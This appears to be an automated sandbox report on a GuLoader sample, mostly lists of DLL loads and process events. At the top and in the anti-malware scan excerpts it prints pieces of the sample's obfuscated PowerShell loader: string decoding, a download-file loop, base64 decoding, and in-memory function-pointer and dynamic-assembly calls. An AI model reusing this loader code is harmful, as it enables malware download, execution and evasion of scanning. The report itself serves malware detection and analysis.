X';$Lyskurvene96='Survivalists';$Flystyrtenes='\daturism.Hyp';Blodtrykkene (Pigtraadsorkesteret 'Y$SG lLo bSA LS:Bv o kra T,iEVDs.=P$Te n,vU: aFp p d,AMT AE+C$AFRL y,s t.y R.t,EFnAeHs');Blodtrykkene (Pigtraadsorkesteret '.$PGHlZoUBFASlS: lTD eMRS= $ tuU D e M IMK.KHEHL sM. sBPDlRi TC( $hB iUHSaAr m O n IECA1 0S6 )');Blodtrykkene (Pigtraadsorkesteret $Fyndige);$tudemikkels=$Lder[0];$Afsejl=(Pigtraadsorkesteret ' $GG l,O B.ATLN:.UUDRS TTaTtUI.O nYe.r ERnEDKESSM= nKE wB-PoPB j EfcKT SNyUSMT,eSmy.B$BhpaiKJk eMl,S E MBa sTK iSn E');Blodtrykkene ($Afsejl);Blodtrykkene (Pigtraadsorkesteret 'C$,U dCsAt aTtUiSo nFeEr e nGdSeRsA.PHaeOa dCeFrDsK[ $ SKltd eFn.s ] =I$WP sPe u.d oMcHl a.sJs iAc');$Forlagshistoriers=Pigtraadsorkesteret ' $AU d sTtpaAt iSo n e r e.nAd,e sB. D o w n,l,oCa dTFDiElSe.(A$ t uGdTe mSiOk.k e lSsK,a$BD e lCl.aHvPoAlRpTi a nFe rFnSeDs,)';$Dellavolpianernes=$Vokativs;Blodtrykkene (Pigtraadsorkesteret ' $AGAL,ODbSaClM: m I S,GHISV ESS,= (HT EBS Tu-SPSaHt hB F$ d ESl,l ASvVO L p i a,NAEUrFN euSv)');while (!$Misgives) {Blodtrykkene (Pigtraadsorkesteret 'G$igblSo bSaElD:EOTiAe =.$UMUeDdTpIlPawn') ;Blodtrykkene $Forlagshistoriers;Blodtrykkene (Pigtraadsorkesteret 'V[ tAh r,eaA,d I N GD.DTUh.rTEKa Db] :P: sTLAE e P (S4G0H0 0V)');Blodtrykkene (Pigtraadsorkesteret 'R$ GOLGoBbBaML :UM i,SFgDITV e SM= ( tKE s t -NPSa t.H N$ND eTLBl ARV o L pEi,ACNRe RRnSe s,)') ;Blodtrykkene (Pigtraadsorkesteret 'B$ G.lOO bSA,l :ES KFrSi VvE TEIBL L aSdUePlDSGeAR N e SA=N$ GSlOoVbLA LV: bFa,u,sTo,N +B+ %u$ALHDUEGR . cso,UTN t') ;$tudemikkels=$Lder[$Skrivetilladelsernes]}$Losningens=329762;$Essayical=26899;Blodtrykkene (Pigtraadsorkesteret 'S$Ig,L o B,a LL: b.lRA nPk eSTiT ETN R=. FG eDt -McRoJn t	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: m.pdbpdbtem.pdb source: powershell.exe, 00000002.00000002.1455246166.0000019B7BCA1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ws\dll\System.pdb// source: powershell.exe, 00000002.00000002.1455246166.0000019B7BCA1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: stem.Core.pdbMc source: powershell.exe, 0000000A.00000002.2563824952.000000000705C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000002.00000002.1455246166.0000019B7BC50000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ws\dll\System.pdb source: powershell.exe, 00000002.00000002.1455246166.0000019B7BCA1000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

VBScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: ShellExecute("powerShell", ""Get-Service;$Grovellingly='func';Get-H", "", "", "0");

Yara detected GuLoader

Source: Yara match

File source: 0000000A.00000002.2571136778.0000000008BF3000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: FromBase64String($Blanketten)$GlOBaL:kHalSA = [sYstem.TeXT.EncodiNg]::AScIi.gEtSTRIng($wEBBaNK)$GlOBAl:bEnvaRmerNeS=$kHaLSa.SUbSTrIng($lOsniNgENS,$essAyiCaL)<#Epicoracoidal Tndeslagnings tympanoperiot
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: GetDelegateForFunctionPointer((Rverdes $Uforanderlig163 $galvaniseres), (Hormonlignende @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))$global:Fjernlysene = [AppDomain]::CurrentDomain.GetAssemb
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: DefineDynamicAssembly((New-Object System.Reflection.AssemblyName($Tresance)), $Takstgrnsen).DefineDynamicModule($Lyspaavirkningen, $false).DefineType($Peroxid, $Lurchers, [System.MulticastDelegate])$O
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: FromBase64String($Blanketten)$GlOBaL:kHalSA = [sYstem.TeXT.EncodiNg]::AScIi.gEtSTRIng($wEBBaNK)$GlOBAl:bEnvaRmerNeS=$kHaLSa.SUbSTrIng($lOsniNgENS,$essAyiCaL)<#Epicoracoidal Tndeslagnings tympanoperiot

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FF88B4D0958 push E95B70D0h; ret	2_2_00007FF88B4D09C9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FF88B4D00BD pushad ; iretd	2_2_00007FF88B4D00C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FF88B5A7C52 push esp; ret	2_2_00007FF88B5A7C53
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FF88B5A7AB0 push esi; ret	2_2_00007FF88B5A7AB1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FF88B750793 push 9B7BCB16h; retf	2_2_00007FF88B750BFA

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
